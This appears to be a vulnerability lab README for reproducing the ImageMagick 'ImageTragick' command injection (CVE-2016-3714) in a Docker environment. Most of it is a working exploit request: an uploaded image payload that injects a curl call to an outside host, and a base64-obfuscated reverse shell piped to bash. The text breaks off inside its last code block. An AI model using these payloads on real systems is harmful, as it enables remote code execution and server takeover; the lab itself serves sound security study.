+# ImageMagick Imagetragick Command Injection (CVE-2016–3714)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+ImageMagick is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images.
+
+In ImageMagick version before 6.9.3-9, insufficient filtering for filename passed to delegate's command allows remote code execution during conversion of several file formats. The CVE-2016-3714 is also called "imagetragick".

+## Environment Setup
+
+Execute the following command to start a PHP server that includes ImageMagick 6.9.2-10:
+
+```
+docker compose up -d
+```
+
+## Exploit
+
+Visit `http://your-ip:8080/` to see an upload component.
+
+Send the following request:
+
+```
+POST / HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
+Connection: close
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymdcbmdQR1sDse9Et
+Content-Length: 328
+
+------WebKitFormBoundarymdcbmdQR1sDse9Et
+Content-Disposition: form-data; name="file_upload"; filename="1.gif"
+Content-Type: image/png
+
+push graphic-context
+viewbox 0 0 640 480
+fill 'url(https://127.0.0.0/oops.jpg"|curl "www.leavesongs.com:8889)'
+pop graphic-context
+------WebKitFormBoundarymdcbmdQR1sDse9Et--
+```
+
+It can be seen that `www.leavesongs.com:8889` has received the http request, after the curl command was executed successfully:

+```
+push graphic-context
+viewbox 0 0 640 480
+fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzQ1LjMyLjQzLjQ5Lzg4ODkgMD4mMQ== | base64 -d | bash`"||id " )'
